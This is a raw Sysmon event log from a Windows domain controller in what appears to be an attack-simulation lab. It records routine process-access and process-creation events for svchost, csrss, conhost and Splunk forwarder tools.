09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F200-000000007F01}4260C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-294B-5F80-F100-000000007F01}9164940C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294B-5F80-F200-000000007F01}4260C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.690{A5F018FF-294B-5F80-F200-000000007F01}4260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294B-5F80-F100-000000007F01}916C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool web list settings --no-log 10341000x80000000000000004607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F100-000000007F01}916C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F100-000000007F01}916C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-294B-5F80-F000-000000007F01}46801220C:\Windows\system32\cmd.exe{A5F018FF-294B-5F80-F100-000000007F01}916C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.685{A5F018FF-294B-5F80-F100-000000007F01}916C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294B-5F80-F000-000000007F01}4680C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool web list settings --no-log 10341000x80000000000000004594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F000-000000007F01}4680C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 